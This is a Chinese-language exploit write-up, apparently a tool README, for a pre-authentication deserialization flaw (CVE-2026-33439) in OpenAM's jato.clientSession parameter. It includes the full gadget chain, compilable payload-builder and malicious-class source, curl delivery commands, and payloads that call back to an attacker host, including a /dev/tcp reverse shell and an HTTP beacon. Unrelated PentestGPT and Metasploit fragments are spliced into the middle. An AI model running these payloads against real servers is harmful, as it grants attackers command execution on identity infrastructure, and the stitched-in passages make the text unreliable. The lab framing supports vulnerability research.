CVE-2026-33439(通过jato.clientSession反序列化的OpenAM预认证RCE)的首个公开共享漏洞利用实现。
人工洞察 + AI辅助分析 + 逆向工程 + 安全公告 → 利用
首个公开分享的 CVE-2026-33439 利用实现
ForgeRock OpenAM 中的未经认证的 Java 反序列化漏洞,允许通过特制的 JATO 会话对象实现完全远程代码执行。同一条河流流过两次,他们修复了 jato.pageSession(CVE-2021-35464),却忘记了 jato.clientSession(CVE-2026-33439)。反序列化小工具链不问凭证。
CVE-2026-33439 是 OpenIdentityPlatform OpenAM(版本 16.0.6 之前)中的一个预认证远程代码执行漏洞。该漏洞源于对 jato.clientSession HTTP 参数的不安全的 Java 反序列化,位于 ClientSession.deserializeAttributes() 中,该方法调用 Encoder.deserialize() → ApplicationObjectInputStream.readObject(),且未应用任何类白名单。
未经认证的攻击者向任何 JATO ViewBean 端点(其 JSP 渲染 jato:form 标签)发送一个包含序列化 Java 对象的精心构造的 HTTP GET 或 POST 请求。服务器收到后将对象反序列化而不进行验证,触发一个完全由 OpenAM WAR 包中捆绑的类构建的小工具链(无需外部库),并以应用程序进程用户身份执行任意操作系统命令。
CVSS 4.0 Vector: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N → 9.3 严重
CVSS 3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 严重
此漏洞是 CVE-2021-35464 后不完整修复的直接回归。
CVE-2021-35464(ForgeRock AM / OpenAM):通过不安全反序列化 jato.pageSession 参数实现预认证 RCE。在野外被广泛利用;已列入 CISA KEV 列表。修复方案在 ConsoleViewBeanBase.deserializePageAttributes() 中引入了 WhitelistObjectInputStream —— 一个定制的 ObjectInputStream 子类,在实例化之前,它会针对一个包含约 40 个安全类的硬编码白名单检查每个类名。
CVE-2026-33439(OpenAM ≤ 16.0.5):修复仅应用于 jato.pageSession。jato.clientSession 参数——由完全独立的代码路径 ClientSession.deserializeAttributes() 处理——从未被修补,仍然使用未经过滤的 Encoder.deserialize() → ApplicationObjectInputStream,该方法调用 ObjectInputStream.readObject() 而不进行类白名单检查。
攻击原语相同。反序列化接收点不同。只有参数名称改变了。
JATO 将 UI 视图状态序列化为名为 jato.pageSession 和 jato.clientSession 的 HTTP 参数。当请求到达时,OpenAM 反序列化这些参数以在渲染响应之前恢复 UI 状态。这两个参数遵循完全不同的代码路径。
jato.pageSession 的补丁代码路径(CVE-2021-35464 之后):```java // PATCHED - ConsoleViewBeanBase.deserializePageAttributes() ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded)); // class whitelist enforced - gadget chains blocked Object obj = ois.readObject();
jato.clientSession 的未修补代码路径(存在漏洞):```java
// ClientSession.java
protected ClientSession(RequestContext context) {
this.encodedSessionString =
context.getRequest().getParameter("jato.clientSession");
}
protected void deserializeAttributes() {
if (this.encodedSessionString != null
&& this.encodedSessionString.trim().length() > 0) {
this.setAttributes(
(Map) Encoder.deserialize(
// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
Encoder.decodeHttp64(this.encodedSessionString), false)
);
}
}
Encoder.deserialize() 构造一个普通的 ApplicationObjectInputStream - 它是 ObjectInputStream 的一个子类,没有类过滤。JVM 类路径上的任何类都可以被实例化。每当渲染 < jato:form > 标签时,反序列化在 JSP 渲染过程中触发:``` getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()
---
<div id="vulnerability_affected"/>
### ***受影响版本***
| 产品 | 受影响版本 | 修复版本 |
|-----------------------------|-------------------------------------------------|--------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5 | 16.0.6 |
| ForgeRock AM (下游) | 可能受影响,取决于补丁继承关系 | - |
---
<div id="vulnerability_attacksurface"/>
### ***攻击面***
任何其 JSP 包含 *< jato:form >* 标签的 JATO ViewBean 端点均可在未认证状态下被利用:
| 端点 | 用途 |
|---------------------------|--------------------------------------|
| /ui/PWResetUserValidation | 密码重置 - 用户身份输入 |
| /ui/PWResetQuestion | 密码重置 - 安全问答 |
密码重置端点是主要目标,它们在设计上公开可访问,并保证渲染 *< jato:form >* 标签。
---
---
---
<div id="gadgetchain"/>
## ***⚙️ 漏洞利用链***
<div id="gadgetchain_deserialization101"/>
### ***Java 反序列化基础***
当 Java 从字节流反序列化一个对象时,它会为每个重建的类(包括嵌套对象)调用 readObject()。如果攻击者控制了字节流并注入一个对象,其 readObject() 触发一系列方法调用,最终导致代码执行,则他们就拥有了 gadget-chain RCE。
CVE-2026-33439 的关键点:该利用链不需要任何外部库。链中的每个类都捆绑在 OpenAM WAR 自身中 `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar`。 <u>这使得该漏洞可在任何默认的 OpenAM 部署中被利用。</u>
---
<div id="gadgetchain_encoding"/>
### ***Encoder.decodeHttp64***
这是使利用生效的关键细节。`Encoder` 类在 `jato-shaded-16.0.5.jar` 中使用 Java 的 URL 安全 base64 编码器/解码器——不是标准的 base64,也不是自定义的字符替换方案。
通过反编译 Encoder.class 验证:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
PentestGPT 旨在简化 Web 应用渗透测试流程。它是一款供渗透测试人员轻松识别和利用潜在漏洞的工具。由于该工具仍处于早期阶段,我们非常感谢您的贡献。无论是识别和报告错误、建议新功能,还是直接贡献代码,您都能为 PentestGPT 的成长贡献力量。您也可以通过 GitHub 赞助我们来支持本项目的发展。请查看 发布页面 获取最新更新。```
public static byte[] decodeHttp64(java.lang.String);
Code:
0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder;
3: aload_0
4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B
7: areturn
URL安全的base64使用'-'代替'+',使用'_'代替'/',并且不使用填充符'='。正确的编码是:```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)
任何其他编码,包括标准的 base64 或手动字符替换,都会导致 decodeHttp64() 抛出异常或产生损坏的字节,从而在没有任何错误的情况下静默中止反序列化,并且不会在 HTTP 响应中返回错误。
完整链,仅使用 OpenAM WAR 中的类:``` PriorityQueue.readObject() [java.util - JDK] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar] → Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar] → Column.getProperty(o1) → PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar] o1, "outputProperties") → Method.invoke(o1, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → getTransletInstance() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.() [attacker bytecode] → Runtime.getRuntime().exec(cmd)
# Metasploit
**免责声明**:此内容仅供信息和教育目的。未经授权访问计算机系统是非法的。针对你不拥有或没有明确测试权限的系统使用渗透测试工具的法律后果严重,包括刑事处罚和民事责任。在使用此处提到的任何工具之前,请始终确保你已获得适当的授权。
## 目录
1. [链接1:介绍](#introduction)
2. [链接2:核心概念](#core-concepts)
3. [链接3:安装Metasploit](#setting-up-metasploit)
4. [链接4:基本用法](#basic-usage)
5. [链接5:高级特性](#advanced-features)
6. [链接6:编写模块](#writing-modules)
7. [链接7:与其他工具的集成](#integration-with-other-tools)
8. [链接8:最佳实践](#best-practices)
9. [链接9:结论](#conclusion)```bash
# Extract Column$ColumnComparator.class from the JAR
jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'
# Decompile and inspect the compare() method, reveals getTable() call before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
# Extract and inspect Column.class, reveals getProperty() and setTable() methods
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"
关键细节: "Column$ColumnComparator.compare()" 在调用 "getProperty()" 之前会先调用 "column.getTable().isSortedAscending()"。如果 "getTable()" 返回 null,则链在执行到 "TemplatesImpl" 之前就会因 "NullPointerException" 而中止。必须在序列化之前通过 "column.setTable(table)" 将一个 "Table" 对象关联到 "Column"。
┌────────────────────────────────────────────────────────────────┐ │ Docker Network: lab_net │ │ (subnet 10.13.37.0/24) │ │ │ │ ┌──────────────────────────────┐ ┌───────────────────────┐ │ │ │ openam.lab.local │ │ attacker │ │ │ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │ │ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │ │ │ jato.clientSession ← sink │ │ python3, curl, nc │ │ │ │ port 8080 │ │ │ │ │ └──────────────────────────────┘ └───────────────────────┘ │ │ ▲ │ └──────────────────┼─────────────────────────────────────────────┘ │ localhost:8080 ┌──────┴──────┐ │ HOST │ └─────────────┘
| Container | Image | Role |
|-------------------------|------------------------------------------|-------------------|
| cve_2026_33439_openam | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | 易受攻击的目标 |
| cve_2026_33439_attacker | debian:bookworm-slim | 攻击机器 |
> 该实验使用部署在 Tomcat 10.1.52 与 Java 21 上的官方 OpenAM 16.0.5 WAR——与 GitHub 安全公告中描述的完全一致。
---
<div id="lab_setup"/>
### ***设置***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
</p>
**步骤 1 - 下载官方 OpenAM 16.0.5 WAR**```powershell
# From PowerShell on the host
cd "01 Vulnerable"
Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"
第2步 - 启动容器```powershell docker compose up -d
**步骤 3 - 从浏览器配置 OpenAM**
导航到 "http://localhost:8080/openam",点击 "创建默认配置" 并设置:
| 字段 | 值 |
|---------------------------------|---------------|
| 默认用户密码 (amadmin) | Lab@dm1n2026! |
| Agent 密码 | secret12 |
等待约 2 分钟完成配置。
**步骤 4 - 确认密码重置已启用**
以 amadmin 身份登录 → 配置 → 全局服务 → 密码重置 → 启用开关 → 保存更改。
**步骤 5 - 识别可被利用的 JSP 端点**
在 WAR 文件中查找包含 *< jato:form >* 标签的所有 JSP,这些是触发 jato.clientSession 反序列化的端点:```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam
# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"
检查JSP源代码以理解为什么jato.clientSession可能不出现在渲染的HTML中。<jato:form>标签被包裹在<jato:content name="resetPage">内部,而该块仅在ViewBean激活该块时才会渲染。然而,JSP顶部的<jato:useViewBean>总是实例化ViewBean并在决定渲染哪些块之前处理jato.clientSession——反序列化此时无论如何都会发生。```powershell
docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp
(空)```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">
<%-- Only renders if ViewBean activates this block --%>
<jato:content name="resetPage">
<jato:form name="PWResetUserValidation" method="post">
<%-- jato.clientSession hidden field appears here --%>
</jato:form>
</jato:content>
</jato:useViewBean>
步骤6 - 验证端点是否可在预认证状态下访问```powershell (Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"
<div id="lab_access"/>
### ***访问***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash
拆除:```powershell
docker compose down
docker compose down -v
---
---
---
<div id="exploitation"/>
## ***💣 利用***
<div id="exploitation_prerequisites"/>
### ***先决条件***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>
| 要求 | 说明 |
|------------------------|----------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac) | 必须与运行 OpenAM 的 JVM 版本一致。仅 JRE 不够,需要 javac 来编译 EvilTranslet 和 PayloadBuilder |
| openam-core-16.0.5.jar | 从 OpenAM 容器中复制 - 包含 Column、Column$ColumnComparator、PropertyUtils |
| xalan-2.7.3.jar | 从 OpenAM 容器中复制 - 包含 TemplatesImpl、TransformerFactoryImpl |
| serializer-2.7.3.jar | 从 OpenAM 容器中复制 - 包含 EvilTranslet 使用的 SerializationHandler |
| click-nodeps-2.3.0.jar | 从 OpenAM 容器中复制 - 包含 Table(Column$ColumnComparator 所需) |
| click-extras-2.3.0.jar | 从 OpenAM 容器中复制 - click-nodeps 的传递依赖项 |
| jato-shaded-16.0.5.jar | 从 OpenAM 容器中复制 - 包含具有 decodeHttp64 功能的 Encoder |
| servlet-api.jar | 从 Tomcat lib/ 复制 - Jakarta Servlet API,用于 Table 的序列化 |
| Python 3.8+ | 用于 PoC 脚本 |
| requests | pip install requests |
---
<div id="exploitation_discovery"/>
### ***发现与侦察***
**步骤 1 - 确认 OpenAM 正在运行并识别版本**```
http://localhost:8080/openam/ccversion/Version
步骤 2 - 探测 JATO ViewBean 端点```bash
for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}"
"http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe")
echo "[HTTP ${STATUS}] ${ENDPOINT}"
done
**步骤 3 - 确认 jato.clientSession 已被处理**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"
响应中会包含 jato.defaultCommand 和 jato.pageSession,但不会包含 jato.clientSession 在最终的 HTML 响应中,这是预期行为。jato.clientSession 字段只出现在 < jato:content name="resetPage" > 内部,而该块需要 ViewBean 激活才会渲染。然而,< jato:useViewBean > 总是实例化 ViewBean 并在决定渲染哪些块之前处理 jato.clientSession。反序列化在实例化时触发,无论该字段是否出现在最终 HTML 输出中。响应中存在 jato.pageSession 证实了该端点上 JATO 序列化处于激活状态,并且 jato.clientSession 将在下一次请求时被反序列化。
在构建漏洞利用之前,必须通过反编译 JATO JAR 来确认 Encoder.decodeHttp64() 所使用的编码方式。这一步骤至关重要,使用错误的编码会导致静默的反序列化失败。
第 1 步 - 将 OpenAM 中所有必要的 JAR 复制到攻击者工作空间
在目标主机的 PowerShell 中执行:```powershell docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar . docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar . docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar . docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar . docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar . docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar . docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar . docker cp servlet-api.jar cve_2026_33439_attacker:/work/
**第2步 - 反编译编码器以验证解码方法**
从攻击者容器内部:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
预期输出确认URL安全的base64:``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn
**步骤3 - 反编译Column$ColumnComparator以验证小工具链路径**```bash
# Extract Column and ColumnComparator
jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
# Verify compare() calls getTable() before getProperty()
javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
这证实了 Column.getTable() 必须返回一个非空的 Table 对象,否则 compare() 在到达 getProperty() → TemplatesImpl 之前会抛出 NullPointerException。
以下命令均在攻击者容器内部执行。
步骤 1 - 设置类路径```bash CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
**步骤 2 - 编写并编译 EvilTranslet.java**
EvilTranslet 继承 AbstractTranslet(TemplatesImpl 所需),并在静态初始化器中执行命令,该命令会在调用 newInstance() 时自动运行。```bash
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
javac -cp $CP /work/EvilTranslet.java
Step 3 - 编写并编译 PayloadBuilder.java
PayloadBuilder 构建 gadget 链,并输出 URL 安全的 base64 编码序列化 payload。```bash cat > /work/PayloadBuilder.java << 'EOF' import org.apache.xalan.xsltc.trax.TemplatesImpl; import org.apache.xalan.xsltc.trax.TransformerFactoryImpl; import org.openidentityplatform.openam.click.control.Column; import org.openidentityplatform.openam.click.control.Table;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Comparator; import java.util.PriorityQueue;
public class PayloadBuilder {
// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
static String encodeHttp64(byte[] data) {
return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
}
static void setField(Object obj, String name, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
static void setFieldPQ(Object obj, String name, Object value) throws Exception {
Field f = PriorityQueue.class.getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));
// Step 1 - TemplatesImpl with EvilTranslet bytecode
// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{ bytecode });
setField(templates, "_name", "EvilTranslet");
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_transletIndex", 0);
// Step 2 - Column with Table associated
// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
Table table = new Table();
Column column = new Column("outputProperties");
column.setTable(table);
@SuppressWarnings("unchecked")
Comparator<Object> comparator = (Comparator<Object>) column.getComparator();
// Step 3 - PriorityQueue as deserialization trigger
// readObject() -> heapify() -> siftDown() -> comparator.compare()
// Size must be >= 2 for heapify to call compare()
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
setFieldPQ(queue, "queue", new Object[]{ templates, templates });
setFieldPQ(queue, "size", 2);
// Step 4 - Serialize and URL-safe base64 encode
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.close();
System.out.println(encodeHttp64(baos.toByteArray()));
}
} EOF
javac -cp $CP /work/PayloadBuilder.java
**步骤4 - 生成载荷**```bash
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64
# Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
head -c 10 /work/payload.b64
通过带外 HTTP 回调确认 RCE
Terminal 1 - Listener:``` docker exec -it cve_2026_33439_attacker bash
nc -lvnp 9999
终端 2 - 生成并发送回调有效载荷:```
docker exec -it cve_2026_33439_attacker bash
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64
PAYLOAD=$(cat /work/payload_http.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
如果RCE正常工作,终端1会收到来自OpenAM服务器的入站HTTP连接:``` nc -lvnp 9999 listening on [any] 9999 ... connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992 GET /pwned HTTP/1.1 Host: attacker:9999 User-Agent: curl/8.5.0 Accept: /
**写入文件工件**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/1a393801c28cfd5e0e6a39210562399aa1840cf7bd25bc839a397f627729c037.png">
</p>```
cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
} catch (Exception ignored) {}
}
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64
PAYLOAD=$(cat /work/payload_file.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
从PowerShell验证:``` docker exec cve_2026_33439_openam ls -la /tmp/pwned
**反向Shell**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/3e8c65c8fc037c62904e16abf7ffce67ecf3f9af373ee6dd8b63691579d5d1ac.png">
</p>
终端1 - 监听器:```
docker exec -it cve_2026_33439_attacker bash
nc -lvnp 4444
终端2 - 交付:``` docker exec -it cve_2026_33439_attacker bash
CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'
B64CMD=$(echo "$CMD" | base64 -w 0)
cat > /work/EvilTranslet.java << EOF import org.apache.xalan.xsltc.TransletException; import org.apache.xalan.xsltc.runtime.AbstractTranslet; import org.apache.xml.dtm.DTMAxisIterator; import org.apache.xml.serializer.SerializationHandler; import org.apache.xalan.xsltc.DOM;
public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64
PAYLOAD=$(cat /work/payload_shell.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
---
<div id="exploitation_poc"/>
### ***PoC工具使用***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/f4a2a2d62540ff075135581b05071fb58dc67cfc95de469c201fdd4d052f4c5e.png">
</p>
该Python脚本自动化了整个链:编译EvilTranslet,通过PayloadBuilder构建gadget链,使用URL安全的base64编码,并交付。```bash
# Copy JARs to the exploit directory first
[attacker@lab /work]$
touch Exploit_CVE_2026_33439.py
vi Exploit_CVE_2026_33439.py
python3 Exploit_CVE_2026_33439.py --help
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned"
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1"
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080
CVE-2026-33439 的国家漏洞数据库条目。
官方公告,包含根本原因分析、受影响代码及利用链细节。
引入 jato.pageSession 的 WhitelistObjectInputStream 的祖先漏洞。
关于 CVE-2021-35464 的原始研究,涵盖了 JATO 反序列化机制。
MITRE CWE 条目,描述了该漏洞类别。